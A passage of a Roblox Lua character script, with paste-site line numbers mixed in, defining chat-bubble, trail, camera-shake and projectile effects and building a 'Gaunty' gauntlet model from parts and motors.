    SpeechLabel.BackgroundColor3 = C3(1, 1, 1)
1641
    SpeechLabel.BackgroundTransparency = 1
1642
    SpeechLabel.BorderSizePixel = 0
1643
    SpeechLabel.Position = UDim2.new(0, 0, 0.132701427, 0)
1644
    SpeechLabel.Size = UDim2.new(1, 0, 0, 155)
1645
    SpeechLabel.Font = font
1646
    SpeechLabel.Text = text
1647
    SpeechLabel.TextColor3 = textcolor
1648
    SpeechLabel.TextSize = 60
1649
    SpeechLabel.TextStrokeTransparency = 0
1650
    SpeechLabel.TextWrapped = true
1651
    Debris:AddItem(SpeechUi, debris)
1652
end
1653
 
1654
function SpawnTrail(FROM,TO,BIG)
1655
    local TRAIL = CreatePartC(3, Effects, "Neon", 0, 0.5, C3(r / 255, g / 255, b / 255), "Trail", VT(0,0,0))
1656
    MakeForm(TRAIL,"Cyl")
1657
    local DIST = (FROM - TO).Magnitude
1658
    if BIG == true then
1659
        TRAIL.Size = VT(0.5,DIST,0.5)
1660
    else
1661
        TRAIL.Size = VT(0.25,DIST,0.25)
1662
    end
1663
    TRAIL.CFrame = CF(FROM, TO) * CF(0, 0, -DIST/2) * ANGLES(RAD(90),RAD(0),RAD(0))
1664
    coroutine.resume(coroutine.create(function()
1665
        for i = 1, 5 do
1666
            Swait()
1667
            TRAIL.Transparency = TRAIL.Transparency + 0.1
1668
        end
1669
        TRAIL:remove()
1670
    end))
1671
end
1672
 
1673
function CastProperRay(StartPos, EndPos, Distance, Ignore)
1674
    local DIRECTION = CF(StartPos,EndPos).lookVector
1675
    return Raycast(StartPos, DIRECTION, Distance, Ignore)
1676
end
1677
 
1678
function chatfunc(text)
1679
    local chat = coroutine.wrap(function()
1680
        if Character:FindFirstChild("TalkingBillBoard")~= nil then
1681
            Character:FindFirstChild("TalkingBillBoard"):destroy()
1682
        end
1683
        local Bill = Instance.new("BillboardGui",Character)
1684
        Bill.Size = UDim2.new(0,100,0,40)
1685
        Bill.StudsOffset = VT(0,3,0)
1686
        Bill.Adornee = Character.Head
1687
        Bill.Name = "TalkingBillBoard"
1688
        local Hehe = Instance.new("TextLabel",Bill)
1689
        Hehe.BackgroundTransparency = 1
1690
        Hehe.BorderSizePixel = 0
1691
        Hehe.Text = ""
1692
        Hehe.Font = "Bodoni"
1693
        Hehe.TextSize = 40
1694
        Hehe.TextStrokeTransparency = 0
1695
        Hehe.Size = UDim2.new(1,0,0.5,0)
1696
        coroutine.resume(coroutine.create(function()
1697
            while Hehe ~= nil do
1698
                Swait()
1699
                Hehe.Font = FONTS[MRANDOM(1, #FONTS)]
1700
                Hehe.Position = UDim2.new(0, 0, .05, 0)
1701
                Hehe.TextColor3 = C3(r / 255, g / 255, b / 255)
1702
                Hehe.TextStrokeColor3 = C3(r / 255, g / 255, b / 255)
1703
            end
1704
        end))
1705
        for i = 1,string.len(text),1 do
1706
            Swait()
1707
            Hehe.Text = string.sub(text,1,i)
1708
        end
1709
        Swait(90)
1710
        for i = 0, 1, .025 do
1711
            Swait()
1712
            Hehe.TextStrokeTransparency = i
1713
            Hehe.TextTransparency = i
1714
        end
1715
        Bill:Destroy()
1716
    end)
1717
    chat()
1718
end
1719
 
1720
function FireArc(Part, ToLocation, AmountOfTime, Height, DoesCourontine)
1721
    if DoesCourontine == false then
1722
        local Direction = CF(Part.Position, ToLocation)
1723
        local Distance = (Part.Position - ToLocation).magnitude
1724
        for i = 1, AmountOfTime do
1725
            Swait()
1726
            Part.CFrame = Direction * CF(0, AmountOfTime / 200 + (AmountOfTime / Height - i * 2 / Height), -Distance / AmountOfTime)
1727
            Direction = Part.CFrame
1728
        end
1729
        Part:remove()
1730
    elseif DoesCourontine == true then
1731
        coroutine.resume(coroutine.create(function()
1732
            local Direction = CF(Part.Position, ToLocation)
1733
            local Distance = (Part.Position - ToLocation).magnitude
1734
            for i = 1, AmountOfTime do
1735
                Swait()
1736
                Part.CFrame = Direction * CF(0, AmountOfTime / 200 + (AmountOfTime / Height - i * 2 / Height), -Distance / AmountOfTime)
1737
                Direction = Part.CFrame
1738
            end
1739
            Part:remove()
1740
        end))
1741
    end
1742
end
1743
   
1744
function AddChildrenToTable(FROM, PARENT, DIST, TABLE)
1745
    for _, c in pairs(PARENT:GetChildren()) do
1746
        if c.ClassName == "Model" then
1747
            if c ~= Character and c:FindFirstChildOfClass("Humanoid") and (c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")) then
1748
                local HUMANOID = c:FindFirstChildOfClass("Humanoid")
1749
                local TORSO = c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
1750
                if DIST > (TORSO.Position - FROM).Magnitude then
1751
                    table.insert(TABLE, c)
1752
                end
1753
                AddChildrenToTable(FROM, c, DIST, TABLE)
1754
            elseif c.ClassName == "Folder" then
1755
                AddChildrenToTable(FROM, c, DIST, TABLE)
1756
            end
1757
        end
1758
    end
1759
end
1760
 
1761
function getRegion(point,range,ignore)
1762
    return workspace:FindPartsInRegion3WithIgnoreList(Region3.new(point-Vector3.new(1,1,1)*range/2,point+Vector3.new(1,1,1)*range/2),ignore,100)
1763
end
1764
 
1765
function printbye(Name)
1766
    local MESSAGES = {"That was your fault, ", "Sit down, ", "Take a load off, ", "Chill, ", "Begone, ", "What was the point of that, ", "Try to do the impossible and struggle, ", "I welcome you to the ban lands, ", "Welp, no return from here, ", "That was just bad luck, ","Don't try that ever again, "}
1767
    chatfunc(MESSAGES[MRANDOM(1,#MESSAGES)]..Name..".")
1768
end
1769
 
1770
function CamShake(who,times,intense,origin)
1771
    coroutine.wrap(function()
1772
        if(script:FindFirstChild'CamShake')then
1773
            local cam = script.CamShake:Clone()
1774
            cam:WaitForChild'intensity'.Value = intense
1775
            cam:WaitForChild'times'.Value = times
1776
           
1777
            if(origin)then NewInstance((typeof(origin) == 'Instance' and "ObjectValue" or typeof(origin) == 'Vector3' and 'Vector3Value'),cam,{Name='origin',Value=origin}) end
1778
            cam.Parent = who
1779
            wait()
1780
            cam.Disabled = false
1781
        elseif(who == Player or who == Character or who:IsDescendantOf(Player))then
1782
            local intensity = intense
1783
            local cam = workspace.CurrentCamera
1784
            for i = 1, times do
1785
                local camDistFromOrigin
1786
                if(typeof(origin) == 'Instance' and origin:IsA'BasePart')then
1787
                    camDistFromOrigin = math.floor( (cam.CFrame.p-origin.Position).magnitude )/25
1788
                elseif(typeof(origin) == 'Vector3')then
1789
                    camDistFromOrigin = math.floor( (cam.CFrame.p-origin).magnitude )/25
1790
                end
1791
                if(camDistFromOrigin)then
1792
                    intensity = math.min(intense, math.floor(intense/camDistFromOrigin))
1793
                end
1794
                cam.CFrame = cam.CFrame:lerp(cam.CFrame*CFrame.new(MRANDOM(-intensity,intensity)/100,MRANDOM(-intensity,intensity)/100,MRANDOM(-intensity,intensity)/100)*CFrame.Angles(RAD(MRANDOM(-intensity,intensity)/100),RAD(MRANDOM(-intensity,intensity)/100),RAD(MRANDOM(-intensity,intensity)/100)),.4)
1795
                Swait()
1796
            end
1797
        end
1798
    end)()
1799
end
1800
 
1801
 
1802
function CamShakeAll(times,intense,origin)
1803
    for _,v in next, Players:players() do
1804
        CamShake(v:FindFirstChildOfClass'PlayerGui' or v:FindFirstChildOfClass'Backpack' or v.Character,times,intense,origin)
1805
    end
1806
end
1807
 
1808
function CamShakeAOE(origin,range,times,intense,blacklist)
1809
    local hit = {}
1810
    for _,v in next, getRegion(origin,range,blacklist or {}) do
1811
        if(Players:GetPlayerFromCharacter(v.Parent) and v.Parent and not hit[v.Parent] and v.Parent:FindFirstChildOfClass'Humanoid')then
1812
            CamShake(v,times,intense,origin)
1813
            hit[v.Parent] = true
1814
        end
1815
    end
1816
end
1817
 
1818
function FocusCamAll(timer, focuson, up)
1819
    for _,v in next, Players:players() do
1820
        if(script:FindFirstChild'FocusCam')then
1821
            local focus = script.FocusCam:Clone()
1822
            focus:WaitForChild'FocusOn'.Value = focuson
1823
            focus:WaitForChild'Timer'.Value = timer
1824
            focus:WaitForChild'Up'.Value = up
1825
            focus.Parent = v.Character
1826
            wait()
1827
            focus.Disabled = false
1828
        end
1829
    end
1830
end
1831
 
1832
function Weld(part0,part1,c0,c1)
1833
    local weld = IT("Weld")
1834
    weld.Parent = part0
1835
    weld.Part0 = part0
1836
    weld.Part1 = part1
1837
    weld.C0 = c0 or CF()
1838
    weld.C1 = c1 or CF()
1839
    return weld
1840
end
1841
 
1842
--//=================================\\
1843
--||         WEAPON CREATION
1844
--\\=================================//
1845
 
1846
if Head:FindFirstChildOfClass("Decal") then
1847
    Head:FindFirstChildOfClass("Decal").Texture = "rbxassetid://404306534"
1848
else
1849
    local newFace = Instance.new("Decal", Head)
1850
    newFace.Parent = Head
1851
    newFace.Face = "Front"
1852
    newFace.Texture = "rbxassetid://404306534"
1853
end
1854
 
1855
New = function(Object, Parent, Name, Data)
1856
    local Object = Instance.new(Object)
1857
    for Index, Value in pairs(Data or {}) do
1858
        Object[Index] = Value
1859
    end
1860
    Object.Parent = Parent
1861
    Object.Name = Name
1862
    return Object
1863
end
1864
 
1865
NewInstance = function(instance,parent,properties)
1866
    local inst = Instance.new(instance,parent)
1867
    if(properties)then
1868
        for i,v in next, properties do
1869
            pcall(function() inst[i] = v end)
1870
        end
1871
    end
1872
    return inst;
1873
end
1874
 
1875
Gaunty = New("Model",Character,"Gaunty",{})
1876
Handle = New("Part",Gaunty,"Handle",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(1, 1.26999998, 1),CFrame = CFrame.new(-5.67319345, 3.02064276, -77.6615906, 0.999894261, 0.010924357, 0.00963267777, -0.0110270018, 0.999882579, 0.0106679145, -0.00951499958, -0.0107729975, 0.999897003),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1877
Mesh = New("BlockMesh",Handle,"Mesh",{Scale = Vector3.new(1.03999996, 1, 1.03999996),})
1878
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.13999987, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.82765579, 3.62595344, -77.6579285, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1879
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(-0.161155701, 0.603512526, 0.00862884521, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1880
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.13999987, 0.109999999, 0.109999999),CFrame = CFrame.new(-6.13765526, 3.62595367, -77.6579285, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1881
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(-0.471122265, 0.600126028, 0.00564575195, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1882
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.13999987, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.5176549, 3.62595415, -77.6579285, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1883
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(0.148812294, 0.606899738, 0.0116195679, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1884
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.13999987, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.21765471, 3.62595463, -77.6579285, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1885
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(0.448780537, 0.610177517, 0.014503479, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1886
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.13999987, 0.109999999, 0.109999999),CFrame = CFrame.new(-6.13765526, 2.53595448, -77.6579285, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1887
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(-0.459102631, -0.489744425, -0.00598144531, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1888
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.13999987, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.82765627, 2.53595448, -77.6579285, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1889
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(-0.149136543, -0.486357927, -0.00299835205, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1890
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.13999987, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.51765537, 2.53595448, -77.6579361, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1891
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(0.160831451, -0.48297143, -1.52587891e-05, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1892
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.13999987, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.21765566, 2.53595424, -77.6579361, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1893
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(0.460799217, -0.479694128, 0.00286865234, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1894
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(1.07999992, 0.279999971, 1.06999993),CFrame = CFrame.new(-5.66865063, 3.64553881, -77.6613617, 0.999894857, 0.0109243635, 0.00963268708, -0.0110270083, 0.999883175, 0.0106679257, -0.00951500144, -0.0107729994, 0.999897599),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1895
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(1.03999996, 1, 1.03999996),})
1896
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),C1 = CFrame.new(-0.00235080719, 0.624869347, 0.00694274902, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1897
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(1.08999991, 0.0599999577, 1.07999992),CFrame = CFrame.new(-5.66490126, 3.73544312, -77.6652145, 0.999894857, 0.0109243635, 0.00963268708, -0.0110270083, 0.999883175, 0.0106679257, -0.00951500144, -0.0107729994, 0.999897599),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1898
Mesh = New("BlockMesh",NeonPart,"Mesh",{Scale = Vector3.new(1.03999996, 1, 1.03999996),})
1899
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),C1 = CFrame.new(0.000443935394, 0.714845657, 0.00408172607, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1900
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(1.08999991, 0.0599999577, 1.07999992),CFrame = CFrame.new(-5.66480446, 3.52554965, -77.65522, 0.999894857, 0.0109243635, 0.00963268708, -0.0110270083, 0.999883175, 0.0106679257, -0.00951500144, -0.0107729994, 0.999897599),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1901
Mesh = New("BlockMesh",NeonPart,"Mesh",{Scale = Vector3.new(1.03999996, 1, 1.03999996),})
1902
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),C1 = CFrame.new(0.00275993347, 0.504870415, 0.0118331909, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1903
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(1.07999992, 0.279999971, 1.06999993),CFrame = CFrame.new(-5.6686511, 2.55553746, -77.6613541, 0.999894857, 0.0109243635, 0.00963268708, -0.0110270083, 0.999883175, 0.0106679257, -0.00951500144, -0.0107729994, 0.999897599),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1904
Mesh = New("BlockMesh",Part,"Mesh",{Scale = Vector3.new(1.03999996, 1, 1.03999996),})
1905
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),C1 = CFrame.new(0.00966835022, -0.465003252, -0.00468444824, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1906
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(1.08999991, 0.0599999577, 1.07999992),CFrame = CFrame.new(-5.66490126, 2.64544272, -77.6652145, 0.999894857, 0.0109243635, 0.00963268708, -0.0110270083, 0.999883175, 0.0106679257, -0.00951500144, -0.0107729994, 0.999897599),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1907
Mesh = New("BlockMesh",NeonPart,"Mesh",{Scale = Vector3.new(1.03999996, 1, 1.03999996),})
1908
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),C1 = CFrame.new(0.0124630928, -0.375026226, -0.00754547119, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1909
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,FormFactor = Enum.FormFactor.Custom,Size = Vector3.new(1.08999991, 0.0599999577, 1.07999992),CFrame = CFrame.new(-5.66480494, 2.43554902, -77.65522, 0.999894857, 0.0109243635, 0.00963268708, -0.0110270083, 0.999883175, 0.0106679257, -0.00951500144, -0.0107729994, 0.999897599),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1910
Mesh = New("BlockMesh",NeonPart,"Mesh",{Scale = Vector3.new(1.03999996, 1, 1.03999996),})
1911
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),C1 = CFrame.new(0.0147790909, -0.585001707, 0.000205993652, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1912
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.12999988, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.67265606, 3.62595463, -78.1079407, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1913
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C1 = CFrame.new(-0.0018901825, 0.61005497, -0.439842224, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1914
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.12999988, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.67265606, 3.62595558, -77.8179321, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1915
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C1 = CFrame.new(-0.00464963913, 0.606931448, -0.149864197, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1916
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.13999987, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.66765547, 3.62595606, -77.4879303, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1917
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C1 = CFrame.new(-0.00278997421, 0.603431463, 0.180152893, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1918
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.13999987, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.66765547, 3.62595654, -77.1979294, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1919
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C1 = CFrame.new(-0.00554895401, 0.600307703, 0.470123291, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1920
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.13999987, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.66765547, 2.53595638, -77.1979294, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1921
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C1 = CFrame.new(0.0064702034, -0.489563704, 0.458496094, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1922
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.13999987, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.66765547, 2.53595614, -77.4879303, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1923
